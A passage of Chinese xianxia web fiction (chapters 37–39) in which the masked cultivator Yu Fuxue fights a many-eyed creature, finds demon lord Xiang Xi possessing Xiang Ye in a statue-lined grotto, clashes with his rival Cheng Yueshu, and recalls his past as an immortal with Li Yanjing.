“当然是……我吃的呀。”项野的声音变得失真,男女老幼的音调混杂在一起。
我直觉不妙,捏紧手中暗月剑。
月光的范围漫过项野的头顶,面具之下,我瞪大了眼睛,二话不说甩出一连串爆破符,紧接着立刻转身飞撤。
项野立于原地,身前是报废的灵晶碎片,他带着笑容,咧嘴微笑时虎牙露出来。
秘境的黑夜比外面更黑,所以,当月光照过来后,我才看见,那“项野”脸上密密麻麻全都是眼睛!
瞳色不一、大小不等。
他这一笑,那些眼睛都跟着弯起来,还齐齐对我眨了几下。
符箓迎面而来,那些眼睛便阖起眼帘,火光裹面,四周树木被火星扫到,瞬间燃起。
“别跑啊,有什么话,我们好好说不行吗?不行吗?那真可惜……我知道了,你也讨厌我,对不对?”
我回过头,火光中,“项野”弓步弹射而出,飞速朝我跑来,那古怪混杂的声音响彻不断,自问自答,疯癫至极。
这不是仙人留下的秘境吗?这鬼东西也太过邪门了!刚刚那一串符箓对他毫无作用!
“少公子!有什么话你直说便是!”
“项野”歪着头,追逐不停,背后始终缀着带笑的声音,“直说?直说!我想知道你的名字,告诉我吧?好不好!”
我割破手指,在暗月剑身书写血纹,轻念咒语,旋身将其猛地掷出,低呵道:“去。”
随即双手罗织金色丝线,手指翻飞间,细密的网便成型于掌。
恰逢前方有二树并立,其余相环,中间有小片空地,我双指轻推,金网瞬间放大,立于两树之间拦住去路。
“不跑了?”那物声音愉悦,再次打飞暗月剑,提升速度朝我奔来,“那我们来好好谈谈心吧,看看你的心和我的心,谁更红润。”
身后那物越来越近,我停在金网前转身面对着他淡笑,千面也动了怒气,不受控制地乱变,它在怒斥哪来的这么个不人不鬼的东西。
暗月剑剑身的血纹骤然发亮,掉转剑尖,迅速向那物后背刺去。
我看着他出剑对准我,他另外那只手成爪,想第一时间剖我的心来看看。
眼前的一切慢了下来,我擦着他的爪向旁让去,金网瞬间抽离树干,丝线唰啦几声箍住“项野”,未等他开口,暗月剑就如开瓜一般从他后脑勺穿过。
我走到他面前,那些眼睛不断开开合合,眼珠失去固定的控制,每一只都恢复了自己的神智,慌乱地四处张望。
不再多看,我走到他身后握住剑柄,手腕拧转,整个脑袋就被剑气冲撞得炸开,落了满地眼珠,如同刚刚的灵晶碎片。
鼓掌的声音自旁传来。
“精彩啊,这东西多看一眼我都要吃不下饭,亏你能面不改色地盯着看。”
我轻甩暗月剑,黏稠的液体呈弧线洒在项野脚前,他掌声一停,低下头看着那精准的弧线,放下打算迈出的步子。
“不至于吧,我不就是躲着看了片刻?”
“少公子,谁说秘境里相互照应的?”
项野周边没有人,但他既然敢来这压制修为的秘境,自然是有几分保命的本事,断不会像表面这样放浪不着调。
“哎呀,还不是看你太过神秘,想探探底儿吗?说是那么说,你也不会真相信,何必现在反过来埋怨我?”项野跨过那道线。
他看向躺倒在我脚边的无头人。
“啧啧啧,下手够果断的,你怎么能破开他周身一股气的?靠写的那几串东西?”他指着我剑上已经模糊的痕迹。
“我之前也试过几个类似的破势法诀,不管用,这东西诡异的不行,我
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从未见过不说,还会窥心,格外凶残,转眼就咔嚓了我好不容易遇见的手下。”
我眼眸微暗,刚刚那段术法是幻境结束后自发在我脑中出现的,是机遇,还是本就属于我的东西。
“是吗,不该问的别问。”
项野也不在意,靠近几步,挑起一边眉,有些苦恼,“行,那你总该告诉我名字了吧?总不能‘喂’‘那谁’的叫你,对不?”
我望着他半晌,嗤笑一声,拇指轻拨,暗月剑发出阵阵剑鸣,“少公子,莫装了,你知道我是谁不是吗?”
项野的笑容顿时消失,他举起双手,“很明显吗?不过你别误会,我只是想请你结束后和我回一趟魔族,没有非要取血的意思。”
我没说话。
项野压低声音道:“想要你命的那波人是我小叔叔,也就是现任魔君的人,父亲苏醒不久,他表面让权,但暗中持魔族势力不放。”
我道:“所以呢?”
项野清了清嗓子,“我父亲不是什么不讲理的人,郁负雪,你体内既有我族魔蛊,便不能算那群狗屁正道的人了,随我去魔族,有我和父亲担保,没人会拿你怎么样。”
末了,他补充道:“绝不放血,你给几滴维持一下就行。”
这话我是断然不信的。
“项席没和你说过我?”
我想知道除却参禅和记忆缺失的李晏京,项席对我是否还有印象。
项野一愣,而后道:“你怎么直接叫我父亲的名字……没有,就叫我把你带回去。”
我点点头,转身就走,“那再说。”
他三两步追上来,神情纳闷,还没人敢如此拒绝他,一时间有些郁气堵在胸口。
“郁负雪,你这人怎么这样?”
被千面影响,我有心出手让他永远安静,但我又想起幻境中未知下场的项席,他怎么从一介正道弟子,修成一世魔尊的?
注意力分散开,我才止住翻腾的情绪。
李晏京去了哪里?
“郁负雪,我很好奇,你这白发是因为魔蛊,还是因为那什么金丹没了?”项野犹犹豫豫,愣是咽下剖丹二字,临到嘴边换了个词。
我侧眸看去,奇于他的态度。
“还有你这面具,这么看我做什么?敞亮话说开了,我又何必迂回着与你言论?我最不喜弯弯绕绕说话那一套。”
正走着,我们脚下忽然一空,项野与我当即出剑朝周围刺去,但我的千面和幽冥火,他的魔气,竟半点也不起作用!
行走的草面分明平坦无比,为什么会有这么个无形的陷阱!
“项野……怎么和你在一起总没有好事发生。”上次是李晏京忽然来了,这次又是遇见个奇怪的东西,又是掉入这种隐藏的陷阱里。
“怎么能怪我!”项野不肯罢休,解开腰间缠绕的飞梭,不停寻找可靠的支点。
这是个无底洞,周围都是石壁,向下看去黑洞洞的,一眼望不到底,剑尖在峭壁上划出一路火花。
许是习惯命运的针对,面对无力的失重感,我心中有种不出所料的感觉。
好似我从很久以前就在不停地奔波,一刻不停地留后路,斩新路。
很多人在看着我。
我视线移向手腕的古镯,把它拿了下来。
37. 众生与我无关
将古镯放在眼前细看,肉眼难以辨别这东西有没有被做手脚,不过的确是幻境中给付渚的那只,祝青蚨是找妖尊讨的?
“付渚……?”我喃喃道。
没办法停下势头,我和项野只能望着越来越近的地面,还好修士体魄不差,加上有剑的缓冲,双方均平安落地。
我转动发麻的手腕,抬头看向落下来的地方,能窥见圆形的天空,并依稀可见在夜晚薄雾里明明灭灭的两轮月亮。
项野走到我身边,学着我的姿势仰头,模样有些滑稽,说的话也很幼稚,“喂,郁负雪,你说我俩这样像不像井底之蛙?”
我轻笑嘲他,没去附和他的小孩儿心性,转身往唯一的通道走去。
听着身后跟过来的脚步声,我不由自主地揣测,现在的局面是否为项野所刻意引导。
通道只有两人多的宽度,高约两米,狭长逼仄,项野和我都没有说话,警惕任何异动。
万一在这种地方出事,那便是前后夹击的困境。
再向深处,豁然开朗,巨大的地底石窟呈现在眼前,项野从我身后走出,抬头环视,煞有介事道:“哇哦,看来我们捞着宝了。”
只见最上方一圈,每隔一段距离雕凿着内嵌空格,其中或坐或站着一人,神态不一,年岁不一。
这些神像微垂着头,看向道路延伸的终点——石台上放着一个木匣子。
项野站在走道边缘,慢慢蹲下身,整片空间上方是神像和久不灭的灵晶,地面则如同锁孔,以石台为中心,道路向外延伸,周围半包围着清澈的水。
“头顶上那些看着怪渗人的,我都不敢仰头,刺眼睛。”
少公子手欠,端得是艺高人胆大,直接伸手往水面上一撩,呲呲声传来,我扭头一看,项野举着一只手,指尖已经露出指骨,对于所受疼痛半声也不吭。
见我看来,他便笑开,又透过泛起涟漪的水面,看向倒映出的部分神像。
“郁负雪,你说这些玩意会不会针对咱修魔的啊?仙人也搞偏见那套?”
这项野也是怪人一个,我看着他已经露出骨头的手,敷衍道:“……也许。”
身负魔蛊的我直视上方众生却并未感到异样,左右看了看,两侧的墙上都有不起眼的缝隙,看来通道不止一处。
项野站起身,若无其事地将手搭在腰侧的剑柄上,他咧嘴而笑,如同没有痛觉一样。
“那现在该商量一下那东西归谁了吧?”
我顺着他的视线看向此处唯一一个木匣子,心里有些意动,泣株种子是否存在尚不可得知,那野籍记载含糊,情节缺失大半。
而我在秘境里已经荒废一天,除了偶遇李晏京时发生的意外和斩杀一些妖兽获得的妖晶,再无其他收获。
运气可谓是极差,那么眼前这可能的宝贝我断不会让给项野。
“少公子有何高见?”
“此地灵气魔气均不能用,那仙人想必不想让人在此争斗,”
项野指指上方,“打个赌,这群玩意儿对他一定很重要,我一个魔修碰到水都这样了,那木匣子还不知道藏着什么危险呢,劳烦你动个手?等我们出去再行论道。”
我无端皱了下眉,项野的态度让我觉得很不对劲,他举手投足间不像在逢仙岛上时那样,有种莽撞感,和我交谈时,熟稔得似乎有些过快了。
这是项野对待一个正道修士的态度?
顺着石阶向上,我伸手探向木匣子,在即将触碰的刹那,我倏地停住,那木匣子的缝隙有极其细微的错开痕迹。
再仔细看去,锁扣的确扣牢了,但整个匣子却无半分盛放宝物的光辉,暗淡无比,像集市经常卖的普通梳妆匣。
我转过身,心中飞速思考着,他此举所为何意?目的又是什么?
嘴上慢悠悠道:“少公子,好玩吗?”
项野目光沉沉的看着我,灵晶的光将他的周身照得朦胧,“这是什么意思啊?我听不懂。”
我没再说话,站在高处俯视他,直接用暗月剑反手击落那只木匣,匣子落地,盒盖被撞开,又顺着惯性落入水中。
里面空无一物。
“带我来这儿是做什么?”
我没有向后瞥,提着暗月剑缓步走下石阶,项野的目光自始至终都追随着我,从仰视,慢慢平视。
项野始终看着我,眼神带着探究,装模作样倒是一把好手,好像疯的人是我。
我停下脚步,仍处于一个较高的位置,我冷声道:“项席,说话。”
静默。
忽地,项野绽出一个十分夸张的笑容,面部表情都有些扭曲。
他兴奋极了,看起来高兴无比。
他的双眸变成了浓艳的暗红色,被周围的灵晶一照,外加周身的气势,让人很轻松的就能将他和项野区分开。
“你果然可以认出我!”
项席先是踏出一步,在触及我的目光时又停了下来,他的视线看向我持剑的手。
我握紧暗月剑,实际上,我并不能确定项野被项席所附身。
我是通过他那奇怪的态度,以及时常粘附在我身上的眼神揣测的。
虽然,这些固然可以理解为,项野未见过我的真面容,所以对我这一身打扮和鬼面白发有些好奇。
但偏偏巧在,我先接触到了幻境中那个黏人、没有安全感的项席,他时刻想离我近些,我很难不将现在的项野和项席联想到一起。
而且项野表现很怪,他总用一种怪异腔调叫我的名字,仿佛那三个字读法很新鲜,也好像对他有什么特殊意义。
更重要的是,传言魔修有将自己的孩子当成第二条命的习惯,也就是所谓的再生容器,没有什么比自己的骨肉更适合作为降生容器了。
项席的双眸通红,目光痴痴地仰头望着我,堂堂魔尊,他本可以后退几步平视,却非要走上前来抬起头,并且丝毫不顾我已经抵在他胸口的剑。
我问他:“从刚开始就是你吗?”
项席抬起手,想要触碰我脸上的千面,我直接踹了他腹部一脚——这里的确不可以用魔气。
项席被我踹得后退几步,及时稳住身形,他低头拍了拍腹部的脚印,浑不在意。
他道:“刚开始不是,但你遗留下来的秘境对近来的修士修为压制太过强大,项野搞不定,所以,我来了。”
我敏锐地眯起眼睛,项席清楚地记得我,甚至还知道这秘境是我留的,当年他也在场?
“为何李晏京和世上所有人都不记得,这世间曾有过我的存在,但是偏偏你和参禅记得?”
项席微微一愣,没有回答原因,只是惊诧道:“参禅?那厮没死?”
我提剑点在他喉结处,他不答,我也不会好奇地反复盘问,便回到最初的问题。
“少给我东扯西扯的,项席,引我到这儿来,是什么意思?”
项席喉结一滚,擦过剑尖。
这不是他的身体,他并不在乎,对于现在这种局面,他的表情在告诉我,他很愉悦,甚至可以称得上是怀念。
他姿态轻松地耸了耸肩,偏过头撇嘴。
项席一大把年纪,用项野的脸做出这种表情竟丝毫不违和,仍带年少
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的影子。
“我干什么?只是想让你见见你的老朋友们罢了,”他伸出一根食指对着天空转了转,“这些不是你当年亲手一个一个刻出来的吗?我和李晏京怎么劝都劝不动你,你刻得满手都是血也不肯罢休。”
这处地窟里的神像,是我亲手刻的?
我垂下的手不易察觉地轻轻一颤,目光缓缓看向上方,诸天神佛都盘踞于此,对着我垂目。
他们都在看着我,昔日的亲师挚友,全都静静地注视着我如今这副非人的样貌。
我不再是九天之上白玉仙都的仙,如今只是一个不人不鬼的修道者,而天道对我的觊觎却从未曾停止,当年的我,想来没有胜利。
“让你失望了,”我好整以暇地看着他,窥探他那双红眸中的念想。
“项席,今我非我,对上面这些没有记忆、没有感觉,我对众生也没有念头,他们的死活与我无关,你在想什么?如此……肮脏。”
项席收敛笑容,但眼底仍带笑意,他正色道:“就是这种感觉,郁负雪,你现在不知道,你和当初一模一样。随我回魔族吧,李晏京护不住你,他自身难保。”
我眼眸微闪,故意道:“你想杀我取魔蛊,向正道复仇。”
“没有!”项席不假思索地否认。
我沉默地等着他解释。
但项席却猛地一缩,触碰水面带来的疼痛都没让他吱一声,现在却不知怎么,他疼得发抖,闷哼声都没有压住。
“我……”项席拧眉,抬头对我笑,“此地没有灵气补充,项野要支撑不住了……他愚蠢又轻狂,郁负雪,你不要生……”
话未说完,项野整个软倒跪在地上,能从他喘息频率听出他还安好,不劳我操心。
我抬起头,再次看向满天神明。
我没有白玉仙都的具体记忆,在幻境中的确悲伤,但醒来就仿佛隔了层水镜。
就算我承认那是我失败的过去,“仙人”的记忆不全,我也没有什么确切实感。
项野清醒后,抬头就撞见我站在他面前,他吓了一跳,下意识要打出一道诀,手腕被我轻松捏住。
“是你……诶!”
“项席走的时候没给你留话?你之后都要听我的,少公子。”
我截住他袭来的另一只手。
项野眉眼乖戾,从下而上抬眸,嗤笑一声,“我记得我们是合作关系吧?”
我松开手,站直身体看着他。
项野倒也不像项席说得那样愚蠢,身处于这禁斗的石窟,就算想打,怕是一时半会也分不出胜负。
项野甩着手上的寒意,从怀中掏出一个瓷瓶,倒出药丸咽了下去,指尖指骨很快生出肌肉与指甲,沾染的寒意也被驱散。
“如何出去?”我看向坐在地上的项野。
项野龇着牙笑道:“这么急做什么?”
我走过去,强忍耐心,手指着石台,再转向暗门:“少公子,合作关系?那你告诉我,里面的宝物去哪儿了,那边的门怎么打开?”
我轻轻笑道:“如果你想告诉我,从来时的洞口爬出去,那我就先把你泡在这水里涮一涮,少公子,我自觉不问秘宝下落已经够给你面子了。”
“你父亲见我都得让三分,你……?”我用暗月剑剑鞘轻拍他的左脸。
我的情绪又直转而下,十分诚恳地叹了口气,挪开剑鞘。
“抱歉,走火入魔后心态不太好,少公子理解吗?那种控制不住的兴奋,还望见谅。”
项野的表情有些憋闷,神色不善地看着我,脸色变换多次,猛地从地上爬起来。
38. 我不要脏金丹
“秘宝?那是我先到先得。”项野扯出讥笑,“难不成你还想抢?”
“修真界毁约杀人的事不少,少公子如此天真?真信我们这口头承诺的合作关系?”
“你当我真拿你没办法?”项野眯起眼睛,“你不一定能打得过我。”
我轻笑一声,瞬间释放杀意,举剑就要刺向他,“但你是个入水即化的,我改主意了,先把你解决,再寻出去的方法也是一样的。”
项野猛地后退几步,躲开我缓慢的剑招。
这反而让我知道,这地方一个人也能出去,并不需要第二人。
否则,他大可以凭“你一人出不去”威胁我。
他很快回过神,脸色阴沉,“你诈我?”
我否认,抓着剑摊开双臂,声音淡淡,“岂敢,漫天神明见证。”
项野抿着唇,神色不善地看我半晌,轻抬下巴点向右侧的隐门,“左生右死,淌过这水,抵达生门,或者等另外那头有人顺利来到这儿。”
我点头道:“双向通道。”
走到边缘,我垂下头,用剑鞘拨弄着水面,水底清澈,深可见底,“那你先吧,少公子。”
项野知我对他心存疑虑,“何不一起走呢?我此时害你,有何好处?”
我略歪着头,千面鬼相凝视着他,天道在上,我谁都不信。
这时,石窟震动,墙上灵晶明灭闪烁,我和项野不约而同地停下话头,看向左侧的隐门。
项野不笑的时候模样给人一种阴冷的感觉,他呵笑,低声喃喃:“还真是说什么就来什么……”
左侧的生门震动,隐门缓缓向上升起,暗黄色弟子服缓缓呈现,衣摆飞溅数道深红血液,来人一手持剑,一手平举红色丹火。
隐门完全升起,露出程月舒那张令人生厌的脸。
他的目光扫视四周,最终定格在我身上。
“师兄?”他眉头微皱,似是惊讶,又很快笑开,“原来你也来这海底秘境了,你我许久未见,当好好叙叙旧。”
项野抱臂立于我的身旁,轻挑眉梢,斜睨着我,“感情不错嘛。”
我浑身气息森然,轻声道:“程月舒,我们有什么话可说的?”
语罢,我便抬手起势,蜻蜓点水,直指程月舒,中间这条通道离隐门距离不近不远,门已打开,自然不必淌水而过。
“季无涯连丹火都给你了,程月舒,你好大的本事。”
我剑指他的双眸,程月舒后仰躲过,翻手收起丹火,“师兄,我们怎可直呼师尊大名呢?这可是不敬。”
程月舒手掌轻推,剑柄在他手中旋转,他向上挑飞我的剑。通道不宽,难以施展快速且大开大合招式。
他的衣角染血,脸上挂着微笑,显得始终游刃有余,“怎么不说话,师兄,我好久没听见你的声音了,多说些可好?”
“我和师尊一直在等你回去,过去这些日子了,师弟师妹们也知道自己出言不逊,我们都期盼你回来。”
项野在对面不嫌事大地高声道:“玄清宗师兄弟苟.合?我虽然不歧视啊,但你们能不能收敛点?别这么大声音可行?”
我怒从心起,直接沉着脸横扫过程月舒的腰,将他踢向水中,程月舒在触碰到水面前将剑当作竹竿,身体弓成弧,借着力道反跃到项野旁边。
项野迎着我欲宰人的眼神一笑,转身送出一掌,震退程月舒。
随即自己也后退几步,飞快一跃。
只是身体修炼得不太合格,大半小腿踩入水中,我能听见灼烧的声音响起,项野脸色白了几分,轻抽凉气。
程月舒反应极快,抬头环顾四周,再联系我和项野的神色,便知这是处困笼。
项野扶着墙壁飞速叩击凸起的石砖,隐门再次震动,开始缓慢下降。
我正要提剑销毁这处机关,下降的隐门那头,忽然窜出一条长鞭绕住我的腰,项野眼疾手快的抓住我的胳膊。
可程月舒在那边不知做了什么手脚,长鞭的力道陡然增大,我被扯得踉跄一步栽倒在地,连同项野两人又被拽回石窟中!
项野可谓是倒霉透顶,手掌再次摁入水中,他竟将我当作踏板,反推我入水,自己才狼狈地上岸。
程月舒的笑声十分清朗,他收起长鞭看着我,目光散发着浓烈的恶意,“师兄,不如摘了面具,让我看看你的表情?”
本来我已经做好准备迎接蚀骨疼痛,但出乎意料的是,这水对我半分作用也无。
我没急着起来,而是跌坐在水中,双手撑在身侧,暗月剑静静躺在水底,唯独我自己知道,在两人看不见的角度,我左手的那只古镯正被清水腐蚀,细密的小气泡绕过我的手腕浮到水面。
我用右手抹开沾在千面上的白发。
项野已经再次服下那生肌育骨的丹药,坐在一边地上远离程月舒,我们三人形成一个三角对立。
“不是吧,这水对你没用?这鬼地方还真就歧视魔修?仙人也玩这一套?”他抻着脖子感叹道。
我幽幽地看他一眼,又将视线移向程月舒,我放松姿态坐在水中,不知怎么踩到程月舒的尾巴,他的脸色很难看。
因为这水没有吞噬我?
“程月舒,”我淡淡道,“你已经坐稳云秀峰大师兄的位置,师弟师妹们也都向着你,你又何必再咬着我不放?”
项野在旁率先一步笑道:“怕你哪天再次起势,夺回他的金丹呗。”
我透过千面,苛责地看向项野,“别胡说,我生性爱洁,已经脏了的金丹,捧到我面前我都不要。”
程月舒怒极反笑,“师兄,你的嘴还是这么会说,联合外人,想套我的话。”
我抓住暗月剑起身,垂眸扫过手腕,瞳孔不易察觉地一缩,那古镯居然已经消失不见!
并且此刻,我感觉我的身体变得比先前轻盈许多,不费力气就能带着水的重力跃到远处项野的身边。
要知道,身在此处,人体内的灵气或魔气,是均会被压制封印的!
“程月舒,徐昭已经告诉我了,你曾在后山上发现了什么?让我猜猜……”
我故意拖长语调,看程月舒的眼睛,以往我都没有正眼瞧过他。
如今一看,这双眼睛生得灵动,却依然和碧泉镇那时一样,恶意满满。
“……当是有天赐的宝
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物吧?”
我敏锐地察觉到,程月舒眼瞳轻颤,他面上不显,委婉道:“师兄,你莫不是走火入魔得了失心疯?说话这般古怪。”
这回我没有再开口。
我甚至都没去规劝他,程月舒现在才像那个狂热的人,他自觉成了天道的傀儡,还洋洋自得。天道降下什么“圣谕”给他了?让他如此死心塌地。
项野神色散漫,刚刚那番对话他看起来丝毫不感兴趣,甚至都没有往心里去。
他慢吞吞地举起手,“打断一下,现在先出去可好?我们在这儿要住到什么时候?打又打不了,走也不让走,我要憋屈死了。”
听项野把话接过去,我被打断,蓦地无端有些疲倦,靠在进来那处洞口的石壁上,从这儿能将石窟内看个大半。
“你又是谁?”
那边,程月舒眯起眼睛,甩出长鞭抽向项野,他嘲道:“和郁负雪站在一边,也不怕被同族魔修们唾骂。”
“那也好过你这偷金丹的无能小辈。”
项野也并非是草包做的,他在地上一滚,躲过长鞭,顺手就抓住鞭尾用力拉扯,长鞭紧绷成一条直线,双方僵持不下。
我看着上方神像,“程月舒,你是来找秘宝的吧?现在收手,等出去后我就给你。”
程月舒骤然抬起头望向我,可惜有千面遮挡,他想窥探我的表情也无办法。
他启唇笑道:“这么好心啊,师兄,还是这魔修对你而言格外重要?”
项野闻言,扭头看向我。
我淡淡垂眸,望着他,刚想让他不要痴心妄想,但见项野的瞳孔骤缩,程月舒也变了脸色,迅速收起长鞭,绕在手上。
“谁?!”
我下意识就要离开原地转身格挡,可身后的人远比我动作更快。
口鼻被覆上一只手,另外一只则在我后颈不轻不重地一掐,我眼前顿黑,意识尚存的最后一瞬,我感觉自己落入一个熟悉的怀抱。
万物悄悄爬过时间。
浸过石窟里水的后遗症漫了上来,我的神魂不知去了何处,被撕扯、碾压,从一个境又被丢入另一个境。
无数多彩的多角碎片流窜而过,像陨落的星星那样,眨眼就从我身边路过。
“这些是什么?”
我紧皱双眉,在空中胡乱舞动双手,徒劳地看着飞速滑过眼前的碎片,它们太快了,我抓不住,只能看见有画面黏附其上。
一声耳熟的铃铛轻响,我睁开眼睛。
我此刻正掐诀收势,眼前倒塌的一众建筑全都浮起,慢慢变回原样。
断裂的房梁严丝合缝的对上,连飞溅的碎渣也重新回到原位,瓦片相接,层层叠叠的排布,最后是圭角。
“多谢仙人!!!”
“啊!神迹啊!”
“我的房子!我的家!又回来了!”
身后传来震慑人心的哭嚎与惊叹,我回过头,只见青年李晏京静静立在我的身后,那双眼睛追随我已久,我已经习惯它的存在。
在下方广场上,跪伏着大片凡人。
他们对我叩拜。
直呼仙人降世,红尘得救。
39. 平安顺遂则已
再次看向李晏京,他仍旧注视着我。
“这样一来,他们都会信你,不会有人再去祈求上天垂怜,你对他们来说,便是天。”
“是吗。”我反应淡淡。
那点微薄的信仰之力根本无法补足我的损耗,倒是能减缓世界衰败的速度,因此,我并未多加制止。
脚步轻移,我带着李晏京消失在跪拜的凡人眼前,又掀起一片惊诧。
此处也有我的神庙,仙人雕像面容模糊,亟待完善。
现在人们都沉浸在家园恢复的喜悦中,还没人来这儿。
我在神庙的屋檐坐下,看向辽阔的凡尘,指了指身边的位置,“坐吧。”
李晏京双手揣在袖子里,姿态比同龄人都要稳重老成。
他犹豫片刻,依言坐下。
李晏京成长得太快了,这让我很难不心生警惕。
可我又想起上次苏醒后,前往皓月宗的事,硬是止住疑虑。
李晏京没有卖关子,他只知道我自白玉仙都而来,在凡尘寻找东西,有人想找我,有人想杀我,更深一层的情况他还没权限去探查。
那天崖边,他说完后,明知自己触怒了我,却不惧反喜,少有表情的脸扬起笑容。
比年少时的笑自然,嘴角的弧度刚刚好。
他的双手抬起,右手撩起我的袖口,直接与我手腕相贴,李晏京握得很克制,我能感觉到他因为缺氧而发颤的手指。
“仙人莫气……我错了。可不这样说,你就要走了。”他断断续续地吐字。
我怎会被区区一个低阶修士威胁到?
不顾李晏京神情变换,我只冷冷看着他,半分回应也不给,便缓缓消失在他眼前。
见他泰然自若的神色崩裂,望着空荡荡的手心,露出少年气的纯粹茫然,我心中的怒气渐消,没有立刻离开。
于是,我就这么眼睁睁看着他独自揽下杀害“殿下”的责任,被皇室众人拖去宗门刑堂。
皓月宗规矩并非那么严苛,现在世间隐隐动荡不安,长老们又是爱才的,本就不喜李晏京痴迷追随于那个皇室中人。
但皓月宗的资源先前就多倚仗皇族,他们不想重罚李晏京,皇室中人却执意要废其修为,并以断皓月宗资源作为威胁。
长老们拉扯一番后才定下处罚——将李晏京修为硬生生打回筑基期。
全过程中,李晏京一声不吭,愣是吃下了所有苦,跪得心甘情愿。
我站在他身前,隐去气息,他应当是看不见我的,可他挨鞭子时总会强撑着抬头,看着虚空一点——我的站位处。
每抽一下,他的身形就晃一下,但次次都能及时稳住,跪得笔直。
李晏京在想什么?
我无法理解他心甘情愿的行为,这下面暗藏的汹涌情感,我本能地拒绝思考。
所以我没再看下去,离开了皓月宗,前去寻找项席。
他比另外两人幸运,拜入的宗门虽大,但管理松散,项席的修为与表现平平无奇,身边未曾出现天道的爬虫。
而后,我独自在世间各处寻找登仙路可能的踪迹,皆无所获,天道蒙蔽我的视野,同我做着一场持久的拉锯。
而我知道,等白玉仙都众人尽殁,天道则要同我做最后的清算。
修补红尘、对抗天道等压力加诸我身,如再无线索,失败将是我唯一的结局。
世间会再无仙人,此间所有生灵,都会沦为天道的掌中玩物。
在此期间,修真界即将发生变乱,魔道蠢蠢欲动、掠夺不止,连带着凡人遭殃,各地死亡与争斗不断。
再次见到李晏京时,他已经重回宗内弟子高位,比原来威望更甚,修为也更上一层,是为同门弟子中的佼佼者。
人也变了些许,只是仍毫不犹豫地脱离队伍,邀我前往各处。
我本就要寻登仙路,于是应下他的邀请,见识到了一些繁盛之地悄然建立的我的神庙。
也是他李晏京本事大。
“手给我。”我对他道。
李晏京坐下后就学我看向远方,许是在发呆,听到我说的话时,流露出愣怔的神色。
他把手递给我,我空悬掌心于他的手掌上方。
泛着金光的仙力流溢而出,抚平他灵脉中杂乱的气息,治疗他先前斩杀妖兽时受的陈旧暗伤。
“仙人……”
李晏京的声音似是动容,很明显能听到他吞咽声,我没碰他,他却反而紧张起来。
我垂眸,看他带着剑茧的掌心,“你比他们都要拼,何必?”
李晏京本来有些欣喜,在我说完后,他沉默咽下后面的话。
下方有人涌入神庙,老妪被女儿搀扶着,一边抹着泪笑,一边拄着拐杖进来。
“因为想站在你的身边,”李晏京看着银发散乱,和头发半白的妇女,“仙人,我不满足,自从见到你那一天,我就不再满足于当下了。”
“可能你很难理解,说实话,我自己也不明白。我曾尝试说服自己,不能得寸进尺,但我辗转反侧间,脑中全是不甘心这三个字。”
我淡淡唤他姓名,暗含警告,“李晏京,我没问你那么多。”
李晏京眼睫微颤,默然片刻,他伸出手,隔空抚过两道蹒跚人影,轻声道:
“凡人一生太过短暂,郁负雪,你叫我如何能忍受自己的无为与平凡,年少得见仙人,三生有幸,被仙人所救,当穷我一生追随。”
“我不甘心做凡人,当我老去,你不会记得我;我不甘心做平凡的修士,我无利可被你图,你同样不会再看我;我更不甘心……”
我站起身,反手给了他一巴掌。
李晏京偏过头,发冠歪斜,半张着唇,声音戛然而止。
我甩了甩手,俯视他。
“看看你,李晏京,空有修为,执念颇深,必生心魔,就这样还想站到我的高度?穷极一生怕是都无法飞升成仙。”
“你连道心都还未建立吧?”我轻笑弯腰,单手箍他的下颌迫使他抬起头,“追随我?嗯?本名剑都没有的小崽子,就不要说空话了。”
我吹了一口气,那半边脸上的掌印消失不见,他的长睫一颤。
李晏京没说话,回过神,放空的眼神落到我的身上。
“疼吗?”我问。
神庙下,凡人络绎不绝,香火升起,有些呛鼻。
李晏京重新对我微笑,“不疼,仙人教训得是,是我痴迷了。”
他站起身,从怀中拿出一份舆图。
“原本今日便要同仙人告别的,我离开宗门已久,是时候该回去了,本名剑……”李晏京眼帘半阖,轻笑一声,“半月后是皓月宗弟子入剑阁选剑之日,您若有空,可前来观望,听说每届选剑都很有意思,或许仙人您会喜欢。”
他展开卷起的舆图,上面湖泊山川、微小村镇,俱详细无比,“这是我收集重绘的,除去近日已毁的一些村庄城镇,应当无大失误。”<
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“虽不知您在找什么,但希望这份舆图可以帮到您。”
我看着手中这份详尽无比的地形图,将其收好。作为回报,我轻轻挥袖,装着些法器的储物戒便浮在他面前。
李晏京保持行礼,后撤一步,“愧不敢当。”
我干脆捏住储物戒,手指一划,李晏京的手自发伸直,我将储物戒戴在他指上,“本就是要给你的,好好修炼,别辜负我的期待。”
总归是已经长到这么大,心还向着我。
我不在的时候,天道倘若趁机作梗,取他性命,我也没时间再找下一个人了。
身形化作轻烟,我出现在神庙门边,里面多数是老人和孩童,他们先来叩拜。
小孩胆子大一点的,直接跑到神像下仰头看,见其面容不清,啃啃手指,扭头和自家奶奶说:“奶奶,为什么不像仙人哥哥?”
奶奶佝偻着腰,对孙子招招手,声音缓慢清晰,“过来,别冒犯了仙人……李仙长说了,仙人的面容由他亲自雕刻,不能让任何人动,所以现在是还没完成的神像。”
孩子跑过去,抱住奶奶的腿,“那为什么不刻呢?他们刚刚不是在吗?我见到了,好神奇的!仙人手一指,我们就有家了!”
奶奶的声音渐消,她摸着小孩儿的后脑勺,“或许是……仙人和李仙长太忙了,还没轮到咱镇子呢。”
“那他们会庇佑我们的吗?我不想再没家住……”
奶奶闷笑几声,声音惆怅又无奈,“那你可要认真拜拜仙人哥哥。”
“嗯!我会的!我也想像他们一样厉害,这样我就可以保护母亲和奶奶!”
凡人所求,最普通的不过平安顺遂。
我走出神庙,逆行于人群,他们前往神庙感谢我的施救,而我,则远离他们的祈愿。
忽然,我的衣袖被人拉住。
“李晏……?”转过身,我的声音顿住。
那是一个模样呆愣、流着鼻涕的小乞儿,头上还鼓了一个大包,淤血积在里面。
我只降低自己的存在感,并未隐藏身形。这世间总有那么些人,眼睛和五感天生与常人不同,能注意到我并不奇怪。
譬如当年获救后死死抓住我的李晏京,再譬如惊鸿一瞥便黏上我的项席。
这个孩子看样子是个不太聪明却敏锐的。
我耐心地问他:“有什么事吗?”
小孩猛地吸了一口气,眼睛眨也不眨地看我半天,我模糊了面容,他看过便忘,所以总在瞧我。
他看看我,又看看我腰间的铃铛,如此反复十多次,才确定什么,终于想起自己抓着人是想做什么了。
他又吸了下淌出来的鼻涕,我轻弹手指,这点小病转瞬痊愈,头上的包也不见了。
小孩儿眼睛睁得更大,他从怀里摸出个珍藏许久的、有些发灰的馒头,递给我,笨拙又胆怯,“谢……谢……神仙……”
我眸光微动。
他顺着我的视线看去,瞥见自己脏兮兮的手、发灰的馒头,还有他攥住的、不染尘埃的仙衣,现在才涌上害怕的情绪。
